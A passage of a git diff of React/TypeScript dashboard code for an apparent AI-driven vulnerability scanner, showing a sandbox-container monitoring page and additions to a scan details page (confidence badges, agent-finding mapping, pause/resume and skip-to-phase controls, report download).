||||
</div>
|
||||
<div className="space-y-4">
|
||||
{[1, 2].map(i => (
|
||||
<div key={i} className="h-40 bg-dark-800 rounded-lg" />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
const pool = data?.pool
|
||||
const containers = data?.containers || []
|
||||
const utilizationPct = pool ? (pool.active / pool.max_concurrent) * 100 : 0
|
||||
|
||||
return (
|
||||
<div className="space-y-6 animate-fadeIn">
|
||||
{/* Header */}
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h1 className="text-2xl font-bold text-white flex items-center gap-3">
|
||||
<div className="w-10 h-10 bg-blue-500/20 rounded-lg flex items-center justify-center">
|
||||
<Container className="w-6 h-6 text-blue-400" />
|
||||
</div>
|
||||
Sandbox Containers
|
||||
</h1>
|
||||
<p className="text-dark-400 mt-1">Real-time monitoring of per-scan Kali Linux containers</p>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => handleCleanup('expired')}
|
||||
isLoading={actionLoading}
|
||||
>
|
||||
<Timer className="w-4 h-4 mr-1" />
|
||||
Cleanup Expired
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => handleCleanup('orphans')}
|
||||
isLoading={actionLoading}
|
||||
>
|
||||
<Trash2 className="w-4 h-4 mr-1" />
|
||||
Cleanup Orphans
|
||||
</Button>
|
||||
<Button
|
||||
variant="secondary"
|
||||
size="sm"
|
||||
onClick={() => fetchData(false)}
|
||||
>
|
||||
<RefreshCw className="w-4 h-4 mr-1" />
|
||||
Refresh
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Status message */}
|
||||
{message && (
|
||||
<div className={`flex items-center gap-2 px-4 py-3 rounded-lg text-sm animate-fadeIn ${
|
||||
message.type === 'success'
|
||||
? 'bg-green-500/10 border border-green-500/30 text-green-400'
|
||||
: 'bg-red-500/10 border border-red-500/30 text-red-400'
|
||||
}`}>
|
||||
{message.type === 'success' ? (
|
||||
<CheckCircle2 className="w-4 h-4 flex-shrink-0" />
|
||||
) : (
|
||||
<AlertTriangle className="w-4 h-4 flex-shrink-0" />
|
||||
)}
|
||||
{message.text}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Pool Stats Cards */}
|
||||
<div className="grid grid-cols-2 md:grid-cols-4 gap-4">
|
||||
{/* Active Containers */}
|
||||
<Card>
|
||||
<div className="flex items-center gap-3">
|
||||
<div className={`w-10 h-10 rounded-lg flex items-center justify-center ${
|
||||
utilizationPct >= 100 ? 'bg-red-500/20' :
|
||||
utilizationPct >= 80 ? 'bg-yellow-500/20' :
|
||||
'bg-green-500/20'
|
||||
}`}>
|
||||
<Box className={`w-5 h-5 ${
|
||||
utilizationPct >= 100 ? 'text-red-400' :
|
||||
utilizationPct >= 80 ? 'text-yellow-400' :
|
||||
'text-green-400'
|
||||
}`} />
|
||||
</div>
|
||||
<div>
|
||||
<p className="text-2xl font-bold text-white">
|
||||
{pool?.active || 0}<span className="text-dark-400 text-lg">/{pool?.max_concurrent || 0}</span>
|
||||
</p>
|
||||
<p className="text-xs text-dark-400">Active Containers</p>
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
{/* Docker Status */}
|
||||
<Card>
|
||||
<div className="flex items-center gap-3">
|
||||
<div className={`w-10 h-10 rounded-lg flex items-center justify-center ${
|
||||
pool?.docker_available ? 'bg-green-500/20' : 'bg-red-500/20'
|
||||
}`}>
|
||||
<HardDrive className={`w-5 h-5 ${
|
||||
pool?.docker_available ? 'text-green-400' : 'text-red-400'
|
||||
}`} />
|
||||
</div>
|
||||
<div>
|
||||
<p className="text-lg font-bold text-white">
|
||||
{pool?.docker_available ? 'Online' : 'Offline'}
|
||||
</p>
|
||||
<p className="text-xs text-dark-400">Docker Engine</p>
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
{/* Container Image */}
|
||||
<Card>
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="w-10 h-10 bg-purple-500/20 rounded-lg flex items-center justify-center">
|
||||
<Cpu className="w-5 h-5 text-purple-400" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="text-sm font-bold text-white truncate max-w-[140px]" title={pool?.image}>
|
||||
{pool?.image?.split(':')[0]?.split('/').pop() || 'N/A'}
|
||||
</p>
|
||||
<p className="text-xs text-dark-400">
|
||||
{pool?.image?.includes(':') ? pool.image.split(':')[1] : 'latest'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
{/* TTL */}
|
||||
<Card>
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="w-10 h-10 bg-orange-500/20 rounded-lg flex items-center justify-center">
|
||||
<Clock className="w-5 h-5 text-orange-400" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="text-2xl font-bold text-white">
|
||||
{pool?.container_ttl_minutes || 0}<span className="text-dark-400 text-lg"> min</span>
|
||||
</p>
|
||||
<p className="text-xs text-dark-400">Container TTL</p>
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
|
||||
{/* Capacity Bar */}
|
||||
{pool && pool.max_concurrent > 0 && (
|
||||
<div className="bg-dark-800 rounded-lg p-4 border border-dark-700">
|
||||
<div className="flex items-center justify-between mb-2">
|
||||
<span className="text-sm text-dark-300">Pool Capacity</span>
|
||||
<span className={`text-sm font-medium ${
|
||||
utilizationPct >= 100 ? 'text-red-400' :
|
||||
utilizationPct >= 80 ? 'text-yellow-400' :
|
||||
'text-green-400'
|
||||
}`}>
|
||||
{Math.round(utilizationPct)}%
|
||||
</span>
|
||||
</div>
|
||||
<div className="w-full bg-dark-900 rounded-full h-2.5">
|
||||
<div
|
||||
className={`h-2.5 rounded-full transition-all duration-500 ${
|
||||
utilizationPct >= 100 ? 'bg-red-500' :
|
||||
utilizationPct >= 80 ? 'bg-yellow-500' :
|
||||
'bg-green-500'
|
||||
}`}
|
||||
style={{ width: `${Math.min(utilizationPct, 100)}%` }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Container List */}
|
||||
{containers.length === 0 ? (
|
||||
<div className="bg-dark-800 rounded-lg border border-dark-700 p-12 text-center">
|
||||
<Box className="w-16 h-16 text-dark-600 mx-auto mb-4" />
|
||||
<h3 className="text-lg font-medium text-dark-300 mb-2">No Sandbox Containers Running</h3>
|
||||
<p className="text-dark-400 text-sm max-w-md mx-auto">
|
||||
Containers are automatically created when scans start and destroyed when they complete.
|
||||
Start a scan to see containers here.
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-3">
|
||||
<h2 className="text-lg font-semibold text-white">
|
||||
Running Containers ({containers.length})
|
||||
</h2>
|
||||
|
||||
{containers.map((container: SandboxContainer) => {
|
||||
const health = healthResults[container.scan_id]
|
||||
const isHealthLoading = healthLoading[container.scan_id]
|
||||
const isConfirming = destroyConfirm === container.scan_id
|
||||
|
||||
return (
|
||||
<div
|
||||
key={container.scan_id}
|
||||
className="bg-dark-800 rounded-lg border border-dark-700 p-5 hover:border-dark-600 transition-colors"
|
||||
>
|
||||
{/* Container Header */}
|
||||
<div className="flex items-start justify-between mb-4">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className={`w-3 h-3 rounded-full ${
|
||||
container.available ? 'bg-green-500 animate-pulse' : 'bg-red-500'
|
||||
}`} />
|
||||
<div>
|
||||
<h3 className="text-white font-medium font-mono text-sm">
|
||||
{container.container_name}
|
||||
</h3>
|
||||
<div className="flex items-center gap-2 mt-1">
|
||||
<span className="text-xs text-dark-400">Scan:</span>
|
||||
<Link
|
||||
to={`/scan/${container.scan_id}`}
|
||||
className="text-xs text-primary-400 hover:text-primary-300 font-mono"
|
||||
>
|
||||
{container.scan_id.slice(0, 12)}...
|
||||
</Link>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
{/* Status badge */}
|
||||
<span className={`inline-flex items-center gap-1 px-2.5 py-1 rounded-full text-xs font-medium ${
|
||||
container.available
|
||||
? 'bg-green-500/10 text-green-400 border border-green-500/30'
|
||||
: 'bg-red-500/10 text-red-400 border border-red-500/30'
|
||||
}`}>
|
||||
{container.available ? (
|
||||
<><CheckCircle2 className="w-3 h-3" /> Running</>
|
||||
) : (
|
||||
<><XCircle className="w-3 h-3" /> Stopped</>
|
||||
)}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Container Info Grid */}
|
||||
<div className="grid grid-cols-2 md:grid-cols-3 gap-4 mb-4">
|
||||
{/* Uptime */}
|
||||
<div>
|
||||
<p className="text-xs text-dark-400 mb-1">Uptime</p>
|
||||
<p className="text-sm text-white font-medium">
|
||||
{formatUptime(container.uptime_seconds)}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Created */}
|
||||
<div>
|
||||
<p className="text-xs text-dark-400 mb-1">Created</p>
|
||||
<p className="text-sm text-dark-300">
|
||||
{timeAgo(container.created_at)}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Tools count */}
|
||||
<div>
|
||||
<p className="text-xs text-dark-400 mb-1">Installed Tools</p>
|
||||
<p className="text-sm text-white font-medium">
|
||||
{container.installed_tools.length}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Installed Tools */}
|
||||
{container.installed_tools.length > 0 && (
|
||||
<div className="mb-4">
|
||||
<p className="text-xs text-dark-400 mb-2">Tools</p>
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
{container.installed_tools.map(tool => (
|
||||
<span
|
||||
key={tool}
|
||||
className="inline-flex items-center gap-1 px-2 py-0.5 bg-dark-900 border border-dark-600 rounded text-xs text-dark-300"
|
||||
>
|
||||
<Wrench className="w-3 h-3 text-dark-500" />
|
||||
{tool}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Health Check Result */}
|
||||
{health && (
|
||||
<div className={`mb-4 px-3 py-2 rounded-lg text-xs animate-fadeIn ${
|
||||
health.status === 'healthy'
|
||||
? 'bg-green-500/10 border border-green-500/20 text-green-400'
|
||||
: health.status === 'degraded'
|
||||
? 'bg-yellow-500/10 border border-yellow-500/20 text-yellow-400'
|
||||
: 'bg-red-500/10 border border-red-500/20 text-red-400'
|
||||
}`}>
|
||||
<span className="font-medium">Health: {health.status}</span>
|
||||
{health.tools.length > 0 && (
|
||||
<span className="ml-2">
|
||||
— Verified: {health.tools.join(', ')}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Actions */}
|
||||
<div className="flex items-center gap-2 pt-3 border-t border-dark-700">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => handleHealthCheck(container.scan_id)}
|
||||
isLoading={isHealthLoading}
|
||||
>
|
||||
<Heart className="w-4 h-4 mr-1" />
|
||||
Health Check
|
||||
</Button>
|
||||
|
||||
<Button
|
||||
variant={isConfirming ? 'danger' : 'ghost'}
|
||||
size="sm"
|
||||
onClick={() => handleDestroy(container.scan_id)}
|
||||
isLoading={actionLoading}
|
||||
>
|
||||
<Trash2 className="w-4 h-4 mr-1" />
|
||||
{isConfirming ? 'Confirm Destroy' : 'Destroy'}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Auto-refresh indicator */}
|
||||
<div className="text-center text-xs text-dark-500">
|
||||
Auto-refreshing every 5 seconds
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -2,15 +2,47 @@ import { useEffect, useMemo, useState } from 'react'
|
||||
import { useParams, useNavigate } from 'react-router-dom'
|
||||
import {
|
||||
Globe, FileText, StopCircle, RefreshCw, ChevronDown, ChevronRight,
|
||||
ExternalLink, Copy, Shield, AlertTriangle, Cpu, CheckCircle, XCircle, Clock
|
||||
ExternalLink, Copy, Shield, AlertTriangle, Cpu, CheckCircle, XCircle, Clock,
|
||||
SkipForward, Check, Minus, Pause, Play, Download
|
||||
} from 'lucide-react'
|
||||
import Card from '../components/common/Card'
|
||||
import Button from '../components/common/Button'
|
||||
import { SeverityBadge } from '../components/common/Badge'
|
||||
import { scansApi, reportsApi, agentTasksApi } from '../services/api'
|
||||
import { scansApi, reportsApi, agentTasksApi, agentApi, vulnerabilitiesApi } from '../services/api'
|
||||
import { wsService } from '../services/websocket'
|
||||
import { useScanStore } from '../store'
|
||||
import type { Endpoint, Vulnerability, WSMessage, ScanAgentTask, Report } from '../types'
|
||||
import type { Endpoint, Vulnerability, WSMessage, ScanAgentTask, Report, AgentStatus, AgentFinding } from '../types'
|
||||
|
||||
// Resolve a confidence score from the various possible sources on a finding.
|
||||
// Handles: numeric confidence_score field, legacy string "high"/"medium"/"low", or numeric strings.
|
||||
function getConfidenceDisplay(finding: { confidence_score?: number; confidence?: string }): { score: number; color: string; label: string } | null {
|
||||
let score: number | null = null
|
||||
|
||||
if (typeof finding.confidence_score === 'number') {
|
||||
score = finding.confidence_score
|
||||
} else if (finding.confidence) {
|
||||
const parsed = Number(finding.confidence)
|
||||
if (!isNaN(parsed)) {
|
||||
score = parsed
|
||||
} else {
|
||||
// Legacy text values
|
||||
const map: Record<string, number> = { high: 90, medium: 60, low: 30 }
|
||||
score = map[finding.confidence.toLowerCase()] ?? null
|
||||
}
|
||||
}
|
||||
|
||||
if (score === null) return null
|
||||
|
||||
const color = score >= 90 ? 'green' : score >= 60 ? 'yellow' : 'red'
|
||||
const label = score >= 90 ? 'Confirmed' : score >= 60 ? 'Likely' : 'Low'
|
||||
return { score, color, label }
|
||||
}
|
||||
|
||||
const CONFIDENCE_STYLES: Record<string, string> = {
|
||||
green: 'bg-green-500/15 text-green-400 border-green-500/30',
|
||||
yellow: 'bg-yellow-500/15 text-yellow-400 border-yellow-500/30',
|
||||
red: 'bg-red-500/15 text-red-400 border-red-500/30',
|
||||
}
|
||||
|
||||
export default function ScanDetailsPage() {
|
||||
const { scanId } = useParams<{ scanId: string }>()
|
||||
@@ -29,6 +61,10 @@ export default function ScanDetailsPage() {
|
||||
const [isLoading, setIsLoading] = useState(true)
|
||||
const [error, setError] = useState<string | null>(null)
|
||||
const [autoGeneratedReport, setAutoGeneratedReport] = useState<Report | null>(null)
|
||||
const [agentData, setAgentData] = useState<AgentStatus | null>(null)
|
||||
const [skipConfirm, setSkipConfirm] = useState<string | null>(null)
|
||||
const [skippedPhases, setSkippedPhases] = useState<Set<string>>(new Set())
|
||||
const [validationFilter, setValidationFilter] = useState<'all' | 'confirmed' | 'rejected' | 'validated'>('all')
|
||||
|
||||
// Calculate vulnerability counts from actual data
|
||||
const vulnCounts = useMemo(() => getVulnCounts(), [vulnerabilities])
|
||||
@@ -68,6 +104,57 @@ export default function ScanDetailsPage() {
|
||||
if (reportsData.reports?.length > 0) {
|
||||
setAutoGeneratedReport(reportsData.reports[0])
|
||||
}
|
||||
|
||||
// If scan has no vulns from DB, try to get agent data (in-memory findings)
|
||||
if ((!vulnsData.vulnerabilities || vulnsData.vulnerabilities.length === 0)) {
|
||||
const agentStatus = await agentApi.getByScan(scanId)
|
||||
if (agentStatus) {
|
||||
setAgentData(agentStatus)
|
||||
// Convert agent findings to vulnerability format for display
|
||||
if (agentStatus.findings && agentStatus.findings.length > 0) {
|
||||
const mapFinding = (f: AgentFinding): Vulnerability => ({
|
||||
id: f.id,
|
||||
scan_id: scanId,
|
||||
title: f.title,
|
||||
vulnerability_type: f.vulnerability_type,
|
||||
severity: f.severity,
|
||||
cvss_score: f.cvss_score || null,
|
||||
cvss_vector: f.cvss_vector || null,
|
||||
cwe_id: f.cwe_id || null,
|
||||
description: f.description || null,
|
||||
affected_endpoint: f.affected_endpoint || null,
|
||||
poc_request: f.request || null,
|
||||
poc_response: f.response || null,
|
||||
poc_payload: f.payload || null,
|
||||
poc_parameter: f.parameter || null,
|
||||
poc_evidence: f.evidence || null,
|
||||
poc_code: f.poc_code || null,
|
||||
impact: f.impact || null,
|
||||
remediation: f.remediation || null,
|
||||
references: f.references || [],
|
||||
ai_analysis: f.evidence || null,
|
||||
validation_status: f.ai_status === 'rejected' ? 'ai_rejected' : 'ai_confirmed',
|
||||
ai_rejection_reason: f.rejection_reason || null,
|
||||
confidence_score: f.confidence_score,
|
||||
confidence_breakdown: f.confidence_breakdown,
|
||||
proof_of_execution: f.proof_of_execution,
|
||||
negative_controls: f.negative_controls,
|
||||
created_at: new Date().toISOString()
|
||||
})
|
||||
const confirmed = agentStatus.findings.map(mapFinding)
|
||||
const rejected = (agentStatus.rejected_findings || []).map(mapFinding)
|
||||
const mappedVulns: Vulnerability[] = [...confirmed, ...rejected]
|
||||
setVulnerabilities(mappedVulns)
|
||||
}
|
||||
// Update scan progress from agent
|
||||
if (agentStatus.progress !== undefined) {
|
||||
updateScan(scanId, {
|
||||
progress: agentStatus.progress,
|
||||
current_phase: agentStatus.phase
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (err: any) {
|
||||
console.error('Failed to fetch scan:', err)
|
||||
setError(err?.response?.data?.detail || 'Failed to load scan')
|
||||
@@ -77,9 +164,9 @@ export default function ScanDetailsPage() {
|
||||
}
|
||||
fetchData()
|
||||
|
||||
// Poll for updates while scan is running
|
||||
// Poll for updates while scan is running or paused (8s interval, WebSocket handles real-time)
|
||||
const pollInterval = setInterval(async () => {
|
||||
if (currentScan?.status === 'running' || !currentScan) {
|
||||
if (currentScan?.status === 'running' || currentScan?.status === 'paused' || !currentScan) {
|
||||
try {
|
||||
const scan = await scansApi.get(scanId)
|
||||
setCurrentScan(scan)
|
||||
@@ -99,11 +186,60 @@ export default function ScanDetailsPage() {
|
||||
if (tasksData.tasks?.length > 0) {
|
||||
setAgentTasks(tasksData.tasks)
|
||||
}
|
||||
|
||||
// Also poll agent data for real-time findings
|
||||
if (!vulnsData.vulnerabilities || vulnsData.vulnerabilities.length === 0) {
|
||||
const agentStatus = await agentApi.getByScan(scanId)
|
||||
if (agentStatus) {
|
||||
setAgentData(agentStatus)
|
||||
if (agentStatus.findings && agentStatus.findings.length > 0) {
|
||||
const mapFinding = (f: AgentFinding): Vulnerability => ({
|
||||
id: f.id,
|
||||
scan_id: scanId,
|
||||
title: f.title,
|
||||
vulnerability_type: f.vulnerability_type,
|
||||
severity: f.severity,
|
||||
cvss_score: f.cvss_score || null,
|
||||
cvss_vector: f.cvss_vector || null,
|
||||
cwe_id: f.cwe_id || null,
|
||||
description: f.description || null,
|
||||
affected_endpoint: f.affected_endpoint || null,
|
||||
poc_request: f.request || null,
|
||||
poc_response: f.response || null,
|
||||
poc_payload: f.payload || null,
|
||||
poc_parameter: f.parameter || null,
|
||||
poc_evidence: f.evidence || null,
|
||||
poc_code: f.poc_code || null,
|
||||
impact: f.impact || null,
|
||||
remediation: f.remediation || null,
|
||||
references: f.references || [],
|
||||
ai_analysis: f.evidence || null,
|
||||
validation_status: f.ai_status === 'rejected' ? 'ai_rejected' : 'ai_confirmed',
|
||||
ai_rejection_reason: f.rejection_reason || null,
|
||||
confidence_score: f.confidence_score,
|
||||
confidence_breakdown: f.confidence_breakdown,
|
||||
proof_of_execution: f.proof_of_execution,
|
||||
negative_controls: f.negative_controls,
|
||||
created_at: new Date().toISOString()
|
||||
})
|
||||
const confirmed = agentStatus.findings.map(mapFinding)
|
||||
const rejected = (agentStatus.rejected_findings || []).map(mapFinding)
|
||||
const mappedVulns: Vulnerability[] = [...confirmed, ...rejected]
|
||||
setVulnerabilities(mappedVulns)
|
||||
}
|
||||
if (agentStatus.progress !== undefined) {
|
||||
updateScan(scanId, {
|
||||
progress: agentStatus.progress,
|
||||
current_phase: agentStatus.phase
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Poll error:', err)
|
||||
}
|
||||
}
|
||||
}, 3000)
|
||||
}, 8000)
|
||||
|
||||
// Connect WebSocket for running scans
|
||||
wsService.connect(scanId)
|
||||
@@ -117,10 +253,16 @@ export default function ScanDetailsPage() {
|
||||
current_phase: message.message as string
|
||||
})
|
||||
break
|
||||
case 'phase_change':
|
||||
updateScan(scanId, { current_phase: message.phase as string })
|
||||
addLog('info', `Phase: ${message.phase}`)
|
||||
case 'phase_change': {
|
||||
const phase = message.phase as string
|
||||
updateScan(scanId, { current_phase: phase })
|
||||
addLog('info', `Phase: ${phase}`)
|
||||
// Track skipped phases
|
||||
if (phase.endsWith('_skipped')) {
|
||||
setSkippedPhases(prev => new Set([...prev, phase.replace('_skipped', '')]))
|
||||
}
|
||||
break
|
||||
}
|
||||
case 'endpoint_found':
|
||||
addEndpoint(message.endpoint as Endpoint)
|
||||
break
|
||||
@@ -245,6 +387,36 @@ export default function ScanDetailsPage() {
|
||||
}
|
||||
}
|
||||
|
||||
const handlePauseScan = async () => {
|
||||
if (!scanId) return
|
||||
try {
|
||||
await scansApi.pause(scanId)
|
||||
updateScan(scanId, { status: 'paused' })
|
||||
} catch (error) {
|
||||
console.error('Failed to pause scan:', error)
|
||||
}
|
||||
}
|
||||
|
||||
const handleResumeScan = async () => {
|
||||
if (!scanId) return
|
||||
try {
|
||||
await scansApi.resume(scanId)
|
||||
updateScan(scanId, { status: 'running' })
|
||||
} catch (error) {
|
||||
console.error('Failed to resume scan:', error)
|
||||
}
|
||||
}
|
||||
|
||||
const handleSkipToPhase = async (phase: string) => {
|
||||
if (!scanId) return
|
||||
try {
|
||||
await scansApi.skipToPhase(scanId, phase)
|
||||
setSkipConfirm(null)
|
||||
} catch (error: any) {
|
||||
console.error('Failed to skip phase:', error)
|
||||
}
|
||||
}
|
||||
|
||||
const handleGenerateReport = async () => {
|
||||
if (!scanId) return
|
||||
setIsGeneratingReport(true)
|
||||
@@ -327,20 +499,53 @@ export default function ScanDetailsPage() {
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
{currentScan.status === 'running' && (
|
||||
<Button variant="danger" onClick={handleStopScan}>
|
||||
<StopCircle className="w-4 h-4 mr-2" />
|
||||
Stop Scan
|
||||
{agentData?.agent_id && (
|
||||
<Button variant="secondary" onClick={() => navigate(`/agent/${agentData.agent_id}`)}>
|
||||
<Cpu className="w-4 h-4 mr-2" />
|
||||
Agent View
|
||||
</Button>
|
||||
)}
|
||||
{currentScan.status === 'running' && (
|
||||
<>
|
||||
<Button variant="secondary" onClick={handlePauseScan}>
|
||||
<Pause className="w-4 h-4 mr-2" />
|
||||
Pause
|
||||
</Button>
|
||||
<Button variant="danger" onClick={handleStopScan}>
|
||||
<StopCircle className="w-4 h-4 mr-2" />
|
||||
Stop
|
||||
</Button>
|
||||
</>
|
||||
)}
|
||||
{currentScan.status === 'paused' && (
|
||||
<>
|
||||
<Button variant="primary" onClick={handleResumeScan}>
|
||||
<Play className="w-4 h-4 mr-2" />
|
||||
Resume
|
||||
</Button>
|
||||
<Button variant="danger" onClick={handleStopScan}>
|
||||
<StopCircle className="w-4 h-4 mr-2" />
|
||||
Stop
|
||||
</Button>
|
||||
</>
|
||||
)}
|
||||
{autoGeneratedReport && (
|
||||
<Button
|
||||
variant="secondary"
|
||||
onClick={() => window.open(reportsApi.getViewUrl(autoGeneratedReport.id), '_blank')}
|
||||
>
|
||||
<FileText className="w-4 h-4 mr-2" />
|
||||
View Report
|
||||
</Button>
|
||||
<>
|
||||
<Button
|
||||
variant="secondary"
|
||||
onClick={() => window.open(reportsApi.getViewUrl(autoGeneratedReport.id), '_blank')}
|
||||
>
|
||||
<FileText className="w-4 h-4 mr-2" />
|
||||
View Report
|
||||
</Button>
|
||||
<Button
|
||||
variant="secondary"
|
||||
onClick={() => window.open(reportsApi.getDownloadZipUrl(autoGeneratedReport.id), '_blank')}
|
||||
>
|
||||
<Download className="w-4 h-4 mr-2" />
|
||||
Download ZIP
|
||||
</Button>
|
||||
</>
|
||||
)}
|
||||
{(currentScan.status === 'completed' || currentScan.status === 'stopped') && (
|
||||
<Button onClick={handleGenerateReport} isLoading={isGeneratingReport}>
|
||||
@@ -351,23 +556,131 @@ export default function ScanDetailsPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Progress */}
|
||||
{currentScan.status === 'running' && (
|
||||
<Card>
|
||||
<div className="space-y-3">
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-dark-300">{currentScan.current_phase || 'Initializing...'}</span>
|
||||
<span className="text-white font-medium">{currentScan.progress}%</span>
|
||||
{/* Phase Stepper */}
|
||||
{(currentScan.status === 'running' || currentScan.status === 'paused' || currentScan.status === 'completed' || currentScan.status === 'stopped') && (() => {
|
||||
const PHASES = [
|
||||
{ id: 'initializing', label: 'Init', fullLabel: 'Initialization' },
|
||||
{ id: 'recon', label: 'Recon', fullLabel: 'Reconnaissance' },
|
||||
{ id: 'analyzing', label: 'Analysis', fullLabel: 'AI Analysis' },
|
||||
{ id: 'testing', label: 'Testing', fullLabel: 'Vulnerability Testing' },
|
||||
{ id: 'completed', label: 'Done', fullLabel: 'Completed' },
|
||||
]
|
||||
const phaseOrder = PHASES.map(p => p.id)
|
||||
const rawPhase = currentScan.current_phase || 'initializing'
|
||||
// Normalize: "skipping_to_testing" -> current is between phases
|
||||
const currentPhase = rawPhase.startsWith('skipping_to_') ? rawPhase.replace('skipping_to_', '') : rawPhase.replace('_skipped', '')
|
||||
const currentIdx = phaseOrder.indexOf(currentPhase)
|
||||
const isRunning = currentScan.status === 'running' || currentScan.status === 'paused'
|
||||
|
||||
return (
|
||||
<Card>
|
||||
<div className="space-y-4">
|
||||
{/* Phase nodes */}
|
||||
<div className="flex items-center justify-between relative">
|
||||
{PHASES.map((phase, idx) => {
|
||||
const isCompleted = idx < currentIdx || currentScan.status === 'completed'
|
||||
const isActive = idx === currentIdx && isRunning
|
||||
const isSkipped = skippedPhases.has(phase.id)
|
||||
const isFuture = idx > currentIdx && isRunning
|
||||
const canSkipTo = isFuture && phase.id !== 'initializing'
|
||||
|
||||
return (
|
||||
<div key={phase.id} className="flex items-center flex-1 last:flex-none">
|
||||
{/* Node */}
|
||||
<div className="flex flex-col items-center relative z-10">
|
||||
{/* Circle */}
|
||||
{canSkipTo ? (
|
||||
skipConfirm === phase.id ? (
|
||||
<div className="flex items-center gap-1">
|
||||
<button
|
||||
onClick={() => handleSkipToPhase(phase.id)}
|
||||
className="w-9 h-9 rounded-full bg-brand-500 text-white flex items-center justify-center hover:bg-brand-400 transition-colors"
|
||||
title={`Skip to ${phase.fullLabel}`}
|
||||
>
|
||||
<Check className="w-4 h-4" />
|
||||
</button>
|
||||
<button
|
||||
onClick={() => setSkipConfirm(null)}
|
||||
className="w-7 h-7 rounded-full bg-dark-600 text-dark-300 flex items-center justify-center hover:bg-dark-500 transition-colors"
|
||||
>
|
||||
<XCircle className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
) : (
|
||||
<button
|
||||
onClick={() => setSkipConfirm(phase.id)}
|
||||
className="w-9 h-9 rounded-full border-2 border-dark-500 bg-dark-800 text-dark-400 flex items-center justify-center hover:border-brand-400 hover:text-brand-400 hover:bg-brand-500/10 transition-all group"
|
||||
title={`Skip to ${phase.fullLabel}`}
|
||||
>
|
||||
<SkipForward className="w-4 h-4 opacity-0 group-hover:opacity-100 transition-opacity" />
|
||||
<span className="absolute text-[10px] group-hover:hidden">{idx + 1}</span>
|
||||
</button>
|
||||
)
|
||||
) : isCompleted ? (
|
||||
<div className={`w-9 h-9 rounded-full flex items-center justify-center ${
|
||||
isSkipped
|
||||
? 'bg-yellow-500/20 border-2 border-yellow-500/50'
|
||||
: 'bg-green-500/20 border-2 border-green-500/50'
|
||||
}`}>
|
||||
{isSkipped
|
||||
? <Minus className="w-4 h-4 text-yellow-400" />
|
||||
: <Check className="w-4 h-4 text-green-400" />
|
||||
}
|
||||
</div>
|
||||
) : isActive ? (
|
||||
<div className="w-9 h-9 rounded-full bg-brand-500/20 border-2 border-brand-500 flex items-center justify-center animate-pulse">
|
||||
<div className="w-3 h-3 rounded-full bg-brand-400" />
|
||||
</div>
|
||||
) : (
|
||||
<div className="w-9 h-9 rounded-full border-2 border-dark-600 bg-dark-800 flex items-center justify-center">
|
||||
<span className="text-xs text-dark-500">{idx + 1}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Label */}
|
||||
<span className={`text-xs mt-2 font-medium ${
|
||||
isActive ? 'text-brand-400' : isCompleted ? (isSkipped ? 'text-yellow-400' : 'text-green-400') : 'text-dark-500'
|
||||
}`}>
|
||||
{isSkipped ? `${phase.label} (skipped)` : phase.label}
|
||||
</span>
|
||||
|
||||
{/* Skip hint */}
|
||||
{canSkipTo && skipConfirm === phase.id && (
|
||||
<span className="text-[10px] text-brand-400 mt-0.5">Skip here?</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Connector line */}
|
||||
{idx < PHASES.length - 1 && (
|
||||
<div className={`flex-1 h-0.5 mx-2 mt-[-20px] ${
|
||||
idx < currentIdx ? 'bg-green-500/50' : 'bg-dark-600'
|
||||
}`} />
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
|
||||
{/* Progress bar + info */}
|
||||
<div className="flex items-center justify-between text-sm">
|
||||
<span className="text-dark-300">
|
||||
{rawPhase.startsWith('skipping_to_')
|
||||
? `Skipping to ${rawPhase.replace('skipping_to_', '')}...`
|
||||
: currentScan.current_phase || 'Initializing...'
|
||||
}
|
||||
</span>
|
||||
<span className="text-white font-medium">{currentScan.progress}%</span>
|
||||
</div>
|
||||
